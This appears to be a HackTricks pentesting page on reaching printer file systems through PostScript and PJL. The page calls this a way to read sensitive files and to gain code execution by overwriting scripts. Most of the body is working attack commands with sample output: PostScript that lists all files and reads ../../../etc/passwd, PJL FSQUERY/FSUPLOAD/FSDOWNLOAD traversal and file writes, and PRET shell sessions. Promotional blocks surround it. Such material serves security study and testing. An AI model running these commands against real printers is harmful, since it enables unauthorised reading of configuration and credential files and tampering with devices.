124 lines
6.2 KiB
Markdown
124 lines
6.2 KiB
Markdown
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## **PostScript**
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Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for **PostScript** and **PJL** to **access the filesystem**.
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Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions):
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```bash
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> /str 256 string def (%*%../*) % list all files
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> {==} str filenameforall
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< (%disk0%../webServer/home/device.html)
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< (%disk0%../webServer/.java.login.config)
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< (%disk0%../webServer/config/soe.xml)
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> /byte (0) def % read from file
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> /infile (../../../etc/passwd) (r) file def
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> { infile read {byte exch 0 exch put
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> (%stdout) (w) file byte writestring}
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> {infile closefile exit} ifelse
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> } loop
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< root::0:0::/:/bin/dlsh
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> /outfile (test.txt) (w+) file def}} % write to file
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> outfile (Hello World!) writestring
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> outfile closefile
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```
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You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` :
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```
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./pret.py -q printer ps
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> ls ../..
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d - Jan 1 1970 (created Jan 1 1970) bootdev
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d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
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d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
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d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
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d - Jan 1 1970 (created Jan 1 1970) etc
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d - Jan 1 1970 (created Jan 1 1970) tmp
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d - Jan 1 1970 (created Jan 1 1970) webServer
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```
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## PJL
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```
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> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
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< .\:\:TYPE=DIR
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< ..\:\:TYPE=DIR
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< PostScript TYPE=DIR
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< PJL TYPE=DIR
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< saveDevice TYPE=DIR
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< webServer TYPE=DIR
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> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
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< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
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> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
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< root::0:0::/:/bin/dlsh
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> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
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> Hello World!
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```
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Anyway accessing files with PJL is not supported by many printers.
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You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` :
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```
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> ls ..
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d - bootdev
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d - dsk_jdi
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d - dsk_jdi_ss
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d - dsk_ram0
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d - etc
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d - lrt
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d - tmp
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d - webServer
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d - xps
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```
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**Learn more about possible sandbox bypasses using PostScript and PJL limitations in** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File\_system\_access)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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|
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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